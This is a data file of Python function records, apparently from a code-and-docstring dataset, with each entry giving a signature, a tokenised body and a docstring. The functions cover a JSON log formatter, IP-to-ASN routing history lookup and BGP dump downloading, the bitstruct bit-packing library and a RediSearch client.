{"signature": "def format(self, record):", "body": "record_fields = record.__dict__.copy()<EOL>self._set_exc_info(record_fields)<EOL>event_name = '<STR_LIT:default>'<EOL>if record_fields.get('<STR_LIT>'):<EOL><INDENT>event_name = record_fields.pop('<STR_LIT>')<EOL><DEDENT>log_level = '<STR_LIT>'<EOL>if record_fields.get('<STR_LIT>'):<EOL><INDENT>log_level = record_fields.pop('<STR_LIT>')<EOL><DEDENT>[record_fields.pop(k) for k in record_fields.keys()<EOL>if k not in self.fields]<EOL>defaults = self.defaults.copy()<EOL>fields = self.fields.copy()<EOL>fields.update(record_fields)<EOL>filtered_fields = {}<EOL>for k, v in fields.iteritems():<EOL><INDENT>if v is not None:<EOL><INDENT>filtered_fields[k] = v<EOL><DEDENT><DEDENT>defaults.update({<EOL>'<STR_LIT>': self._get_now(),<EOL>'<STR_LIT>': event_name,<EOL>'<STR_LIT>': log_level,<EOL>'<STR_LIT>': filtered_fields})<EOL>return json.dumps(defaults, default=self.json_default)<EOL>", "docstring": "formats a logging.Record into a standard json log entry\n\n        :param record: record to be formatted\n        :type record: logging.Record\n        :return: the formatted json string\n        :rtype: string", "id": "f3624:c1:m2"}
{"signature": "def render_to_response(self, context, **response_kwargs):", "body": "if self.request.is_ajax():<EOL><INDENT>template = self.page_template<EOL><DEDENT>else:<EOL><INDENT>template = self.get_template_names()<EOL><DEDENT>return self.response_class(<EOL>request=self.request,<EOL>template=template,<EOL>context=context,<EOL>**response_kwargs<EOL>)<EOL>", "docstring": "Returns a response with a template depending if the request is ajax \nor not and it renders with the given context.", "id": "f3630:c2:m3"}
{"signature": "def get_version():", "body": "return '<STR_LIT:.>'.join(map(str, VERSION))<EOL>", "docstring": "Return the Django Simple Blog version as a string.", "id": "f3632:m0"}
{"signature": "def get_current_date(self):", "body": "return self.current_announce_date<EOL>", "docstring": "Return the date the query has been using.\n\n:rtype: String, date, Format: YYYY-MM-DD", "id": "f3639:c0:m3"}
{"signature": "def asn(self, ip, announce_date=None):", "body": "assignations, announce_date, _ = self.run(ip, announce_date)<EOL>return next((assign for assign in assignations if assign is not None), None), announce_date<EOL>", "docstring": "Give an IP, maybe a date, get the ASN.\nThis is the fastest command.\n\n:param ip: IP address to search for\n:param announce_date: Date of the announcement\n\n:rtype: String, ASN.", "id": "f3639:c0:m6"}
{"signature": "def date_asn_block(self, ip, announce_date=None):", "body": "assignations, announce_date, keys = self.run(ip, announce_date)<EOL>pos = next((i for i, j in enumerate(assignations) if j is not None), None)<EOL>if pos is not None:<EOL><INDENT>block = keys[pos]<EOL>if block != '<STR_LIT>':<EOL><INDENT>return announce_date, assignations[pos], block<EOL><DEDENT><DEDENT>return None<EOL>", "docstring": "Get the ASN and the IP Block announcing the IP at a specific date.\n\n:param ip: IP address to search for\n:param announce_date: Date of the announcement\n\n:rtype: tuple\n\n    .. code-block:: python\n\n        (announce_date, asn, block)\n\n.. note::\n\n    the returned announce_date might be different of the one\n    given in parameter because some raw files are missing and we\n    don't have the information. In this case, the nearest known\n    date will be chosen,", "id": "f3639:c0:m7"}
{"signature": "def history(self, ip, days_limit=None):", "body": "all_dates = sorted(self.routing_db.smembers('<STR_LIT>'), reverse=True)<EOL>if days_limit is not None:<EOL><INDENT>all_dates = all_dates[:days_limit]<EOL><DEDENT>return [self.date_asn_block(ip, date) for date in all_dates]<EOL>", "docstring": "Get the full history of an IP. It takes time.\n\n:param ip: IP address to search for\n:param days_limit: Max amount of days to query. (None means no limit)\n\n:rtype: list. For each day in the database: day, asn, block", "id": "f3639:c0:m8"}
{"signature": "def aggregate_history(self, ip, days_limit=None):", "body": "first_date = None<EOL>last_date = None<EOL>prec_asn = None<EOL>prec_block = None<EOL>for entry in self.history(ip, days_limit):<EOL><INDENT>if entry is None:<EOL><INDENT>continue<EOL><DEDENT>date, asn, block = entry<EOL>if first_date is None:<EOL><INDENT>last_date = date<EOL>first_date = date<EOL>prec_asn = asn<EOL>prec_block = block<EOL><DEDENT>elif prec_asn == asn and prec_block == block:<EOL><INDENT>first_date = date<EOL><DEDENT>else:<EOL><INDENT>yield first_date, last_date, prec_asn, prec_block<EOL>last_date = date<EOL>first_date = date<EOL>prec_asn = asn<EOL>prec_block = block<EOL><DEDENT><DEDENT>if first_date is not None:<EOL><INDENT>yield first_date, last_date, prec_asn, prec_block<EOL><DEDENT>", "docstring": "Get the full history of an IP, aggregate the result instead of\nreturning one line per day.\n\n:param ip: IP address to search for\n:param days_limit: Max amount of days to query. (None means no limit)\n\n:rtype: list. For each change: FirstDay, LastDay, ASN, Block", "id": "f3639:c0:m9"}
{"signature": "def checkURL(url):", "body": "p = urlparse(url)<EOL>h = HTTPConnection(p[<NUM_LIT:1>])<EOL>h.request('<STR_LIT>', p[<NUM_LIT:2>])<EOL>reply = h.getresponse()<EOL>h.close()<EOL>if reply.status == <NUM_LIT:200>:<EOL><INDENT>return <NUM_LIT:1><EOL><DEDENT>else:<EOL><INDENT>return <NUM_LIT:0><EOL><DEDENT>", "docstring": "Check if the URL exists by getting the header of the response.", "id": "f3641:m0"}
{"signature": "def downloadURL(url):", "body": "urlretrieve(url, os.path.join(c.raw_data, path_temp_bviewfile))<EOL>os.rename(os.path.join(c.raw_data, path_temp_bviewfile), c.path_bviewfile)<EOL>", "docstring": "Inconditianilly download the URL in a temporary directory.\nWhen finished, the file is moved in the real directory.\nLike this an other process will not attempt to extract an inclomplete file.", "id": "f3641:m1"}
{"signature": "def already_downloaded(date, hour):", "body": "if os.path.exists(c.path_bviewtimesamp):<EOL><INDENT>ts = open(c.path_bviewtimesamp, '<STR_LIT:r>').read().split()<EOL>if ts[<NUM_LIT:0>] == date:<EOL><INDENT>if int(ts[<NUM_LIT:1>]) >= int(hour):<EOL><INDENT>return True<EOL><DEDENT><DEDENT><DEDENT>open(c.path_bviewtimesamp, '<STR_LIT:w>').write(date + '<STR_LIT:U+0020>' + hour)<EOL>return False<EOL>", "docstring": "Verify that the date and the hour of the file we try to\ndownload is newer than the latest downloaded file.", "id": "f3641:m2"}
{"signature": "def downloadURL(url, filename):", "body": "path_temp_bviewfile = os.path.join(c.raw_data, c.bview_dir, '<STR_LIT>', filename)<EOL>path_bviewfile = os.path.join(c.raw_data, c.bview_dir, filename)<EOL>try:<EOL><INDENT>f = urlopen(url)<EOL><DEDENT>except:<EOL><INDENT>return False<EOL><DEDENT>if f.getcode() != <NUM_LIT:200>:<EOL><INDENT>publisher.warning('<STR_LIT>'.format(url, f.getcode()))<EOL>return False<EOL><DEDENT>try:<EOL><INDENT>with open(path_temp_bviewfile, '<STR_LIT:w>') as outfile:<EOL><INDENT>outfile.write(f.read())<EOL><DEDENT>os.rename(path_temp_bviewfile, path_bviewfile)<EOL><DEDENT>except:<EOL><INDENT>os.remove(path_temp_bviewfile)<EOL>return False<EOL><DEDENT>return True<EOL>", "docstring": "Inconditianilly download the URL in a temporary directory.\nWhen finished, the file is moved in the real directory.\nLike this an other process will not attempt to extract an inclomplete file.", "id": "f3643:m1"}
{"signature": "def already_downloaded(filename):", "body": "cur_file = os.path.join(c.bview_dir, filename)<EOL>old_file = os.path.join(c.bview_dir, '<STR_LIT>', filename)<EOL>if not os.path.exists(cur_file) and not os.path.exists(old_file):<EOL><INDENT>return False<EOL><DEDENT>return True<EOL>", "docstring": "Verify that the file has not already been downloaded.", "id": "f3643:m2"}
{"signature": "def to_download():", "body": "first_day = parse(interval_first)<EOL>last_day = parse(interval_last)<EOL>format_change = parse('<STR_LIT>')<EOL>one_day = datetime.timedelta(<NUM_LIT:1>)<EOL>cur_day = first_day<EOL>url_list = []<EOL>while cur_day < last_day:<EOL><INDENT>fname = filename.format(day=cur_day.strftime(\"<STR_LIT>\"))<EOL>if cur_day > format_change:<EOL><INDENT>cur_day += one_day<EOL>url = base_url.format(year_month=cur_day.strftime(\"<STR_LIT>\"),<EOL>file_day=cur_day.strftime(\"<STR_LIT>\"))<EOL><DEDENT>else:<EOL><INDENT>url = base_url_old.format(year_month=cur_day.strftime(\"<STR_LIT>\"),<EOL>file_day=cur_day.strftime(\"<STR_LIT>\"))<EOL>cur_day += one_day<EOL><DEDENT>url_list.append((fname, url))<EOL><DEDENT>return sorted(url_list, key=lambda tup: tup[<NUM_LIT:0>], reverse=True)<EOL>", "docstring": "Build interval of urls to download.\nWe always get the first file of the next day.\nEx: 2013-01-01 => 2013-01-02.0000", "id": "f3643:m3"}
{"signature": "def fsplit(file_to_split):", "body": "dirname = file_to_split + '<STR_LIT>'<EOL>if not os.path.exists(dirname):<EOL><INDENT>os.mkdir(dirname)<EOL><DEDENT>part_file_size = os.path.getsize(file_to_split) / number_of_files + <NUM_LIT:1><EOL>splitted_files = []<EOL>with open(file_to_split, \"<STR_LIT:r>\") as f:<EOL><INDENT>number = <NUM_LIT:0><EOL>actual = <NUM_LIT:0><EOL>while <NUM_LIT:1>:<EOL><INDENT>prec = actual<EOL>f.seek(part_file_size, os.SEEK_CUR)<EOL>s = f.readline()<EOL>if len(s) == <NUM_LIT:0>:<EOL><INDENT>s = f.readline()<EOL><DEDENT>while len(s) != <NUM_LIT:0> and s != separator:<EOL><INDENT>s = f.readline()<EOL><DEDENT>actual = f.tell()<EOL>new_file = os.path.join(dirname, str(number))<EOL>with open(file_to_split, \"<STR_LIT:r>\") as temp:<EOL><INDENT>temp.seek(prec)<EOL>copy = temp.read(actual - prec)<EOL>open(new_file, '<STR_LIT:w>').write(copy)<EOL><DEDENT>splitted_files.append(new_file)<EOL>number += <NUM_LIT:1><EOL>if len(s) == <NUM_LIT:0>:<EOL><INDENT>break<EOL><DEDENT><DEDENT><DEDENT>return splitted_files<EOL>", "docstring": "Split the file and return the list of filenames.", "id": "f3644:m0"}
{"signature": "def service_start(service=None, param=None):", "body": "if service is not None:<EOL><INDENT>to_run = [\"<STR_LIT>\", service]<EOL>if param is not None:<EOL><INDENT>to_run += param<EOL><DEDENT>return subprocess.Popen(to_run)<EOL><DEDENT>return False<EOL>", "docstring": "Launch a Process, return his pid", "id": "f3646:m0"}
{"signature": "def update_running_pids(old_procs):", "body": "new_procs = []<EOL>for proc in old_procs:<EOL><INDENT>if proc.poll() is None and check_pid(proc.pid):<EOL><INDENT>publisher.debug(str(proc.pid) + '<STR_LIT>')<EOL>new_procs.append(proc)<EOL><DEDENT>else:<EOL><INDENT>try:<EOL><INDENT>publisher.debug(str(proc.pid) + '<STR_LIT>')<EOL>os.kill(proc.pid, signal.SIGKILL)<EOL><DEDENT>except:<EOL><INDENT>pass<EOL><DEDENT><DEDENT><DEDENT>return new_procs<EOL>", "docstring": "Update the list of the running process and return the list", "id": "f3646:m1"}
{"signature": "def check_pid(pid):", "body": "try:<EOL><INDENT>os.kill(pid, <NUM_LIT:0>)<EOL><DEDENT>except OSError:<EOL><INDENT>return False<EOL><DEDENT>else:<EOL><INDENT>return True<EOL><DEDENT>", "docstring": "Check For the existence of a unix pid.", "id": "f3646:m2"}
{"signature": "def run_splitted_processing(max_simultaneous_processes, process_name,<EOL>filenames):", "body": "pids = []<EOL>while len(filenames) > <NUM_LIT:0>:<EOL><INDENT>while len(filenames) > <NUM_LIT:0> and len(pids) < max_simultaneous_processes:<EOL><INDENT>filename = filenames.pop()<EOL>pids.append(service_start(service=process_name,<EOL>param=['<STR_LIT>', filename, '<STR_LIT>',<EOL>imported_day]))<EOL><DEDENT>while len(pids) == max_simultaneous_processes:<EOL><INDENT>time.sleep(sleep_timer)<EOL>pids = update_running_pids(pids)<EOL><DEDENT><DEDENT>while len(pids) > <NUM_LIT:0>:<EOL><INDENT>time.sleep(sleep_timer)<EOL>pids = update_running_pids(pids)<EOL><DEDENT>", "docstring": "Run processes which push the routing dump of the RIPE in a redis\ndatabase.\nThe dump has been splitted in multiple files and each process run\non one of this files.", "id": "f3646:m3"}
{"signature": "@app.route('<STR_LIT>', methods=['<STR_LIT:POST>'])<EOL>def __entry_point():", "body": "ip = request.remote_addr<EOL>ua = request.headers.get('<STR_LIT>', '<STR_LIT>')<EOL>method = request.json.get('<STR_LIT>')<EOL>if method is None:<EOL><INDENT>__query_logging(ip, ua, method, level='<STR_LIT>')<EOL>return json.dumps({'<STR_LIT:error>': '<STR_LIT>'})<EOL><DEDENT>if method not in authorized_methods:<EOL><INDENT>__query_logging(ip, ua, method, level='<STR_LIT>')<EOL>return json.dumps({'<STR_LIT:error>': '<STR_LIT>'})<EOL><DEDENT>fct = globals().get(method)<EOL>if fct is None:<EOL><INDENT>__query_logging(ip, ua, method, level='<STR_LIT>')<EOL>return json.dumps({'<STR_LIT:error>': '<STR_LIT>'})<EOL><DEDENT>if request.json.get('<STR_LIT>') is None:<EOL><INDENT>__query_logging(ip, ua, method, level='<STR_LIT>')<EOL>return json.dumps({'<STR_LIT:error>': '<STR_LIT>'})<EOL><DEDENT>try:<EOL><INDENT>result = fct(request.json)<EOL>__query_logging(ip, ua, method, request.json.get('<STR_LIT>'),<EOL>request.json.get('<STR_LIT>'), request.json.get('<STR_LIT>'))<EOL>return result<EOL><DEDENT>except Exception:<EOL><INDENT>__query_logging(ip, ua, method, request.json.get('<STR_LIT>'), level='<STR_LIT:error>')<EOL>return json.dumps({'<STR_LIT:error>': '<STR_LIT>'})<EOL><DEDENT>", "docstring": "Function called when an query is made on /json. Expects a JSON\nobject with at least a 'method' entry.", "id": "f3650:m2"}
{"signature": "def pack(fmt, *args):", "body": "return CompiledFormat(fmt).pack(*args)<EOL>", "docstring": "Return a bytes object containing the values v1, v2, ... packed\n    according to given format string `fmt`. If the total number of\n    bits are not a multiple of 8, padding will be added at the end of\n    the last byte.\n\n    `fmt` is a string of bitorder-type-length groups, and optionally a\n    byteorder identifier after the groups. Bitorder and byteorder may\n    be omitted.\n\n    Bitorder is either ``>`` or ``<``, where ``>`` means MSB first and\n    ``<`` means LSB first. If bitorder is omitted, the previous\n    values' bitorder is used for the current value. For example, in\n    the format string ``'u1<u2u3'``, ``u1`` is MSB first and both\n    ``u2`` and ``u3`` are LSB first.\n\n    Byteorder is either ``>`` or ``<``, where ``>`` means most\n    significant byte first and ``<`` means least significant byte\n    first. If byteorder is omitted, most significant byte first is\n    used.\n\n    There are eight types; ``u``, ``s``, ``f``, ``b``, ``t``, ``r``,\n    ``p`` and ``P``.\n\n    - ``u`` -- unsigned integer\n    - ``s`` -- signed integer\n    - ``f`` -- floating point number of 16, 32, or 64 bits\n    - ``b`` -- boolean\n    - ``t`` -- text (ascii or utf-8)\n    - ``r`` -- raw, bytes\n    - ``p`` -- padding with zeros, ignore\n    - ``P`` -- padding with ones, ignore\n\n    Length is the number of bits to pack the value into.\n\n    Example format string with default bit and byte ordering:\n    ``'u1u3p7s16'``\n\n    Same format string, but with least significant byte first:\n    ``'u1u3p7s16<'``\n\n    Same format string, but with LSB first (``<`` prefix) and least\n    significant byte first (``<`` suffix): ``'<u1u3p7s16<'``\n\n    It is allowed to separate groups with a single space for better\n    readability.", "id": "f3652:m3"}
{"signature": "def unpack(fmt, data):", "body": "return CompiledFormat(fmt).unpack(data)<EOL>", "docstring": "Unpack `data` (bytes or bytearray) according to given format string\n    `fmt`. The result is a tuple even if it contains exactly one item.", "id": "f3652:m4"}
{"signature": "def pack_into(fmt, buf, offset, *args, **kwargs):", "body": "return CompiledFormat(fmt).pack_into(buf,<EOL>offset,<EOL>*args,<EOL>**kwargs)<EOL>", "docstring": "Pack given values v1, v2, ... into given bytearray `buf`, starting\n    at given bit offset `offset`. Pack according to given format\n    string `fmt`. Give `fill_padding` as ``False`` to leave padding\n    bits in `buf` unmodified.", "id": "f3652:m5"}
{"signature": "def unpack_from(fmt, data, offset=<NUM_LIT:0>):", "body": "return CompiledFormat(fmt).unpack_from(data, offset)<EOL>", "docstring": "Unpack `data` (bytes or bytearray) according to given format string\n    `fmt`, starting at given bit offset `offset`. The result is a\n    tuple even if it contains exactly one item.", "id": "f3652:m6"}
{"signature": "def pack_dict(fmt, names, data):", "body": "return CompiledFormatDict(fmt, names).pack(data)<EOL>", "docstring": "Same as :func:`~bitstruct.pack()`, but data is read from a\n    dictionary.\n\n    The names list `names` contains the format group names, used as\n    keys in the dictionary.\n\n    >>> pack_dict('u4u4', ['foo', 'bar'], {'foo': 1, 'bar': 2})\n    b'\\\\x12'", "id": "f3652:m7"}
{"signature": "def unpack_dict(fmt, names, data):", "body": "return CompiledFormatDict(fmt, names).unpack(data)<EOL>", "docstring": "Same as :func:`~bitstruct.unpack()`, but returns a dictionary.\n\n    See :func:`~bitstruct.pack_dict()` for details on `names`.\n\n    >>> unpack_dict('u4u4', ['foo', 'bar'], b'\\\\x12')\n    {'foo': 1, 'bar': 2}", "id": "f3652:m8"}
{"signature": "def pack_into_dict(fmt, names, buf, offset, data, **kwargs):", "body": "return CompiledFormatDict(fmt, names).pack_into(buf,<EOL>offset,<EOL>data,<EOL>**kwargs)<EOL>", "docstring": "Same as :func:`~bitstruct.pack_into()`, but data is read from a\n    dictionary.\n\n    See :func:`~bitstruct.pack_dict()` for details on `names`.", "id": "f3652:m9"}
{"signature": "def unpack_from_dict(fmt, names, data, offset=<NUM_LIT:0>):", "body": "return CompiledFormatDict(fmt, names).unpack_from(data, offset)<EOL>", "docstring": "Same as :func:`~bitstruct.unpack_from_dict()`, but returns a\n    dictionary.\n\n    See :func:`~bitstruct.pack_dict()` for details on `names`.", "id": "f3652:m10"}
{"signature": "def calcsize(fmt):", "body": "return CompiledFormat(fmt).calcsize()<EOL>", "docstring": "Return the number of bits in given format string `fmt`.\n\n    >>> calcsize('u1s3p4')\n    8", "id": "f3652:m11"}
{"signature": "def byteswap(fmt, data, offset=<NUM_LIT:0>):", "body": "data = BytesIO(data)<EOL>data.seek(offset)<EOL>data_swapped = BytesIO()<EOL>for f in fmt:<EOL><INDENT>swapped = data.read(int(f))[::-<NUM_LIT:1>]<EOL>data_swapped.write(swapped)<EOL><DEDENT>return data_swapped.getvalue()<EOL>", "docstring": "Swap bytes in `data` according to `fmt`, starting at byte `offset`\n    and return the result. `fmt` must be an iterable, iterating over\n    number of bytes to swap. For example, the format string ``'24'``\n    applied to the bytes ``b'\\\\x00\\\\x11\\\\x22\\\\x33\\\\x44\\\\x55'`` will\n    produce the result ``b'\\\\x11\\\\x00\\\\x55\\\\x44\\\\x33\\\\x22'``.", "id": "f3652:m12"}
{"signature": "def compile(fmt, names=None):", "body": "if names is None:<EOL><INDENT>return CompiledFormat(fmt)<EOL><DEDENT>else:<EOL><INDENT>return CompiledFormatDict(fmt, names)<EOL><DEDENT>", "docstring": "Compile given format string `fmt` and return a compiled format\n    object that can be used to pack and/or unpack data multiple times.\n\n    Returns a :class:`~bitstruct.CompiledFormat` object if `names` is\n    ``None``, and otherwise a :class:`~bitstruct.CompiledFormatDict`\n    object.\n\n    See :func:`~bitstruct.pack_dict()` for details on `names`.", "id": "f3652:m13"}
{"signature": "def calcsize(self):", "body": "return self._number_of_bits_to_unpack<EOL>", "docstring": "Return the number of bits in the compiled format string.", "id": "f3652:c11:m5"}
{"signature": "def pack(self, *args):", "body": "<EOL>if len(args) < self._number_of_arguments:<EOL><INDENT>raise Error(<EOL>\"<STR_LIT>\".format(<EOL>self._number_of_arguments,<EOL>len(args)))<EOL><DEDENT>return self.pack_any(args)<EOL>", "docstring": "See :func:`~bitstruct.pack()`.", "id": "f3652:c12:m1"}
{"signature": "def unpack(self, data):", "body": "return self.unpack_from(data)<EOL>", "docstring": "See :func:`~bitstruct.unpack()`.", "id": "f3652:c12:m2"}
{"signature": "def pack_into(self, buf, offset, *args, **kwargs):", "body": "<EOL>if len(args) < self._number_of_arguments:<EOL><INDENT>raise Error(<EOL>\"<STR_LIT>\".format(<EOL>self._number_of_arguments,<EOL>len(args)))<EOL><DEDENT>self.pack_into_any(buf, offset, args, **kwargs)<EOL>", "docstring": "See :func:`~bitstruct.pack_into()`.", "id": "f3652:c12:m3"}
{"signature": "def unpack_from(self, data, offset=<NUM_LIT:0>):", "body": "return tuple([v[<NUM_LIT:1>] for v in self.unpack_from_any(data, offset)])<EOL>", "docstring": "See :func:`~bitstruct.unpack_from()`.", "id": "f3652:c12:m4"}
{"signature": "def pack(self, data):", "body": "try:<EOL><INDENT>return self.pack_any(data)<EOL><DEDENT>except KeyError as e:<EOL><INDENT>raise Error('<STR_LIT>'.format(str(e)))<EOL><DEDENT>", "docstring": "See :func:`~bitstruct.pack_dict()`.", "id": "f3652:c13:m0"}
{"signature": "def unpack(self, data):", "body": "return self.unpack_from(data)<EOL>", "docstring": "See :func:`~bitstruct.unpack_dict()`.", "id": "f3652:c13:m1"}
{"signature": "def pack_into(self, buf, offset, data, **kwargs):", "body": "try:<EOL><INDENT>self.pack_into_any(buf, offset, data, **kwargs)<EOL><DEDENT>except KeyError as e:<EOL><INDENT>raise Error('<STR_LIT>'.format(str(e)))<EOL><DEDENT>", "docstring": "See :func:`~bitstruct.pack_into_dict()`.", "id": "f3652:c13:m2"}
{"signature": "def unpack_from(self, data, offset=<NUM_LIT:0>):", "body": "return {info.name: v for info, v in self.unpack_from_any(data, offset)}<EOL>", "docstring": "See :func:`~bitstruct.unpack_from_dict()`.", "id": "f3652:c13:m3"}
{"signature": "def open(name=None, fileobj=None, closefd=True):", "body": "return Guesser().open(name=name, fileobj=fileobj, closefd=closefd)<EOL>", "docstring": "Use all decompressor possible to make the stream", "id": "f3668:m0"}
{"signature": "def make_seekable(fileobj):", "body": "if sys.version_info < (<NUM_LIT:3>, <NUM_LIT:0>) and isinstance(fileobj, file):<EOL><INDENT>filename = fileobj.name<EOL>fileobj = io.FileIO(fileobj.fileno(), closefd=False)<EOL>fileobj.name = filename<EOL><DEDENT>assert isinstance(fileobj, io.IOBase),\"<STR_LIT>\"% type(fileobj)<EOL>return fileobj if fileobj.seekable()else ArchiveTemp(fileobj)<EOL>", "docstring": "If the file-object is not seekable, return  ArchiveTemp of the fileobject,\notherwise return the file-object itself", "id": "f3671:m0"}
{"signature": "def getCleanClient(self, name):", "body": "client = Client(name, port=self.server.port)<EOL>try:<EOL><INDENT>client.drop_index()<EOL><DEDENT>except:<EOL><INDENT>pass<EOL><DEDENT>return client<EOL>", "docstring": "Gets a client client attached to an index name which is ready to be\ncreated", "id": "f3674:c0:m2"}
{"signature": "def __init__(self, field, *byfields):", "body": "fieldstrs = []<EOL>if len(byfields) == <NUM_LIT:1> and isinstance(byfields[<NUM_LIT:0>], type) andissubclass(byfields[<NUM_LIT:0>], SortDirection):<EOL><INDENT>byfields = [byfields[<NUM_LIT:0>](field)]<EOL><DEDENT>for f in byfields:<EOL><INDENT>fieldstrs += [f.field, f.DIRSTRING]<EOL><DEDENT>args = [field]<EOL>if fieldstrs:<EOL><INDENT>args += ['<STR_LIT>'] + fieldstrs<EOL><DEDENT>super(first_value, self).__init__(*args)<EOL>self._field = field<EOL>", "docstring": "Selects the first value of the given field within the group.\n\n### Parameter\n\n- **field**: Source field used for the value\n- **byfields**: How to sort the results. This can be either the\n    *class* of `aggregation.Asc` or `aggregation.Desc` in which\n    case the field `field` is also used as the sort input.\n\n    `byfields` can also be one or more *instances* of `Asc` or `Desc`\n    indicating the sort order for these fields", "id": "f3676:c11:m0"}
{"signature": "def __init__(self, field, size):", "body": "args = [field, str(size)]<EOL>super(random_sample, self).__init__(*args)<EOL>self._field = field<EOL>", "docstring": "### Parameter\n\n**field**: Field to sample from\n**size**: Return this many items (can be less)", "id": "f3676:c12:m0"}
{"signature": "def __init__(self, index_name, host='<STR_LIT:localhost>', port=<NUM_LIT>, conn=None):", "body": "self.index_name = index_name<EOL>self.redis = conn if conn is not None else Redis(<EOL>connection_pool=ConnectionPool(host=host, port=port))<EOL>", "docstring": "Create a new Client for the given index_name, and optional host and port\n\nIf conn is not None, we employ an already existing redis connection", "id": "f3679:c5:m0"}
{"signature": "def batch_indexer(self, chunk_size=<NUM_LIT:100>):", "body": "return Client.BatchIndexer(self, chunk_size=chunk_size)<EOL>", "docstring": "Create a new batch indexer from the client with a given chunk size", "id": "f3679:c5:m1"}
{"signature": "def create_index(self, fields, no_term_offsets=False,<EOL>no_field_flags=False, stopwords = None):", "body": "args = [self.CREATE_CMD, self.index_name]<EOL>if no_term_offsets:<EOL><INDENT>args.append(self.NOOFFSETS)<EOL><DEDENT>if no_field_flags:<EOL><INDENT>args.append(self.NOFIELDS)<EOL><DEDENT>if stopwords is not None and isinstance(stopwords, (list, tuple, set)):<EOL><INDENT>args += [self.STOPWORDS, len(stopwords)]<EOL>if len(stopwords) > <NUM_LIT:0>:<EOL><INDENT>args += list(stopwords)<EOL><DEDENT><DEDENT>args.append('<STR_LIT>')<EOL>args += list(itertools.chain(*(f.redis_args() for f in fields)))<EOL>return self.redis.execute_command(*args)<EOL>", "docstring": "Create the search index. The index must not already exist.\n\n### Parameters:\n\n- **fields**: a list of TextField or NumericField objects\n- **no_term_offsets**: If true, we will not save term offsets in the index\n- **no_field_flags**: If true, we will not save field flags that allow searching in specific fields\n- **stopwords**: If not None, we create the index with this custom stopword list. The list can be empty", "id": "f3679:c5:m2"}
{"signature": "def drop_index(self):", "body": "return self.redis.execute_command(self.DROP_CMD, self.index_name)<EOL>", "docstring": "Drop the index if it exists", "id": "f3679:c5:m3"}
{"signature": "def _add_document(self, doc_id, conn=None, nosave=False, score=<NUM_LIT:1.0>, payload=None,<EOL>replace=False, partial=False, language=None, **fields):", "body": "if conn is None:<EOL><INDENT>conn = self.redis<EOL><DEDENT>if partial:<EOL><INDENT>replace = True<EOL><DEDENT>args = [self.ADD_CMD, self.index_name, doc_id, score]<EOL>if nosave:<EOL><INDENT>args.append('<STR_LIT>')<EOL><DEDENT>if payload is not None:<EOL><INDENT>args.append('<STR_LIT>')<EOL>args.append(payload)<EOL><DEDENT>if replace:<EOL><INDENT>args.append('<STR_LIT>')<EOL>if partial:<EOL><INDENT>args.append('<STR_LIT>')<EOL><DEDENT><DEDENT>if language:<EOL><INDENT>args += ['<STR_LIT>', language]<EOL><DEDENT>args.append('<STR_LIT>')<EOL>args += list(itertools.chain(*fields.items()))<EOL>return conn.execute_command(*args)<EOL>", "docstring": "Internal add_document used for both batch and single doc indexing", "id": "f3679:c5:m4"}
{"signature": "def add_document(self, doc_id, nosave=False, score=<NUM_LIT:1.0>, payload=None,<EOL>replace=False, partial=False, language=None, **fields):", "body": "return self._add_document(doc_id, conn=None, nosave=nosave, score=score, <EOL>payload=payload, replace=replace,<EOL>partial=partial, language=language, **fields)<EOL>", "docstring": "Add a single document to the index.\n\n### Parameters\n\n- **doc_id**: the id of the saved document.\n- **nosave**: if set to true, we just index the document, and don't save a copy of it. This means that searches will just return ids.\n- **score**: the document ranking, between 0.0 and 1.0 \n- **payload**: optional inner-index payload we can save for fast access in scoring functions\n- **replace**: if True, and the document already is in the index, we perform an update and reindex the document\n- **partial**: if True, the fields specified will be added to the existing document.\n               This has the added benefit that any fields specified with `no_index`\n               will not be reindexed again. Implies `replace`\n- **language**: Specify the language used for document tokenization.\n- **fields** kwargs dictionary of the document fields to be saved and/or indexed. \n             NOTE: Geo points shoule be encoded as strings of \"lon,lat\"", "id": "f3679:c5:m5"}
{"signature": "def delete_document(self, doc_id, conn=None):", "body": "if conn is None:<EOL><INDENT>conn = self.redis<EOL><DEDENT>return conn.execute_command(self.DEL_CMD, self.index_name, doc_id)<EOL>", "docstring": "Delete a document from index\nReturns 1 if the document was deleted, 0 if not", "id": "f3679:c5:m6"}
{"signature": "def load_document(self, id):", "body": "fields = self.redis.hgetall(id)<EOL>if six.PY3:<EOL><INDENT>f2 = {to_string(k): to_string(v) for k, v in fields.items()}<EOL>fields = f2<EOL><DEDENT>try:<EOL><INDENT>del fields['<STR_LIT:id>']<EOL><DEDENT>except KeyError:<EOL><INDENT>pass<EOL><DEDENT>return Document(id=id, **fields)<EOL>", "docstring": "Load a single document by id", "id": "f3679:c5:m7"}
{"signature": "def info(self):", "body": "res = self.redis.execute_command('<STR_LIT>', self.index_name)<EOL>it = six.moves.map(to_string, res)<EOL>return dict(six.moves.zip(it, it))<EOL>", "docstring": "Get info an stats about the the current index, including the number of documents, memory consumption, etc", "id": "f3679:c5:m8"}
{"signature": "def search(self, query):", "body": "args, query = self._mk_query_args(query)<EOL>st = time.time()<EOL>res = self.redis.execute_command(self.SEARCH_CMD, *args)<EOL>return Result(res,<EOL>not query._no_content,<EOL>duration=(time.time() - st) * <NUM_LIT>,<EOL>has_payload=query._with_payloads)<EOL>", "docstring": "Search the index for a given query, and return a result of documents\n\n### Parameters\n\n- **query**: the search query. Either a text for simple queries with default parameters, or a Query object for complex queries.\n             See RediSearch's documentation on query format\n- **snippet_sizes**: A dictionary of {field: snippet_size} used to trim and format the result. e.g.e {'body': 500}", "id": "f3679:c5:m10"}
